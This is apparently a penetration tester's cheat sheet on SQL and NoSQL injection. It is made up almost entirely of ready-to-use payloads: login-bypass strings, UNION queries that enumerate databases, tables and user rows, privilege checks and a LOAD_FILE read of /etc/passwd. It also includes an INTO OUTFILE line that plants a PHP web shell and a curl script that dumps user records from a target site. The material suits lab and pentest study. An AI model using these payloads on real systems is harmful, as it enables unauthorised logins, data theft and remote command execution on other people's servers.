SQLi

PayloadsAllTheThings

MySQL

Python

  • Doesn't need ; at the end.


PHP

Authentication Methods:

  1. Querying for matching username and password:

    • This method involves running an SQL query that looks for rows where both the username and password (or password hash) match the user's input.

    • If any rows are returned (meaning a match is found), the user is allowed to log in.

  2. Ensuring exactly one result:

    • The query looks for matching username and password (or hash), but it only allows login if exactly one result is returned.

  3. Querying based on username, then checking the password hash separately:

    • Query the database based only on the username (without initially checking the password) and retrieving the user's password hash from the database.

    • Once the username is found, the password hash is compared to the one entered by the user.

Auth Bypass

Recon

  • Always test both " and '

  • Bypass authentication by making the condition always true, followed by a comment to ignore the rest of the query.

' or 1=1-- -
  • If the previous query doesn't work try to exploits string comparison without breaking the query structure:

" or "1"="1
  • Sometimes the password field may appear before the username. To determine the structure, use brackets:

"))--
  • Play also with LIMIT to spot changes on the response that you may not see otherwise:

' or 1=1 limit 0,1-- -
  • If it's not possible to see the response from the query there could be still a BLIND injection:

' OR SLEEP(5) -- 

Union

  • Use ORDER BY or UNION with incremental column counts to determine how many columns are in the query:

' order by 1-- -
' order by 1,2-- -
' union select 1-- -
' union select 1,2-- -
  • Once you know the number of columns, check which column is rendering the results:

' UNION SELECT 1,'test',3,4-- -
  • Once you know which column renders visible data, use LIMIT to retrieve data row by row:

' UNION SELECT 1,username,3,4 FROM users LIMIT 1,1-- -
  • LIMIT offset, count, is the typical syntax for LIMIT:

    • offset: The starting point (the row number) from which to begin returning results. (remember that SQL indexing usually starts at 0, so 1 is the second row).

    • count: The number of rows to return starting from the offset.

  • Using curl in conjunction with SQLi can be very useful for enumerating databases via the LIMIT clause. Below is a simple script template that you can modify and adapt for your specific use case:

URL="http://10.10.10.31/cmsdata/forgot.php"
PAYLOAD="email=a@b.c' UNION SELECT NULL, username, email, NULL FROM users LIMIT \${i},1;-- -"
START=1
END=1000
FIELD=2  # Assume username is in the second column
TAG="<td>"  # We're looking for data in <td> tags
FILTER="^with"  # Exclude lines starting with "with"

for i in $(seq $START $END); do
    response=$(curl -s "$URL" --data-urlencode "$(echo $PAYLOAD | sed "s/\${i}/$i/")")
    
    echo "Fetching row $i"
    echo "$response" | grep "$TAG" | awk "{print \$$FIELD}" | grep -v "$FILTER" || break
done
  • You can also use GROUP_CONCAT as an alternative to LIMIT, especially when you don’t want to retrieve each row individually but rather aggregate all the data from one or more columns in one query:

' UNiON SELECT 1,group_concat(schema_name),3,'a@b.c' from information_schema.schemata-- -

Enumeration

Current database
 union select 1,2,3,database()--
Database version
' UNION select 1,@@version,3,4-- -
Current User
' UNION SELECT 1,user(),3,4-- -
Concatenation
' union select 1,2,3,concat(column1, ':', column2, ':', column3, ':', column4) from user-- -

Information_schema

  • If you want to know how many databases there are:

Information Schema
' union select 1,2,3,concat(schema_name, ':') from information_schema.schemata-- -
  • To look how many tables in a database:

' union select 1,2,3,concat(table_name, ':') from information_schema.tables where table_schema = 'database'-- -
  • To look how many columns in a table:

' union select 1,2,3,concat(column_name, ':') from information_schema.columns where table_name = 'table'-- -
  • To look the content of the columns:

' union select 1,2,3,concat(column1, ':', column2, ':', column3, ':', column4) from user-- -

Privileges

Checks admin privileges
' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
Extracting privilege details of the root user
' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
Find which directories can be accessed
' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

File Injection

Read local file
' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
Write a string to a local file
`select 'file written successfully!' into outfile '/var/www/html/proof.txt
Creates a webshell
' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Blind

  • Ask questions to application; this query asks if there is any user starting by a:

UNION select user,2,3 from mysql.user where user like 'a%'-- -

NoSQL

PayloadAllThings

Login Bypass

  • With Content-Type: application/x-www-form-urlencoded try:

user=admin&password[$ne]=wrongpassword
  • Set the Content-Type to application/json on the POST request

{"user": "admin", "password": {"$ne": "wrongpassword"}}

Last updated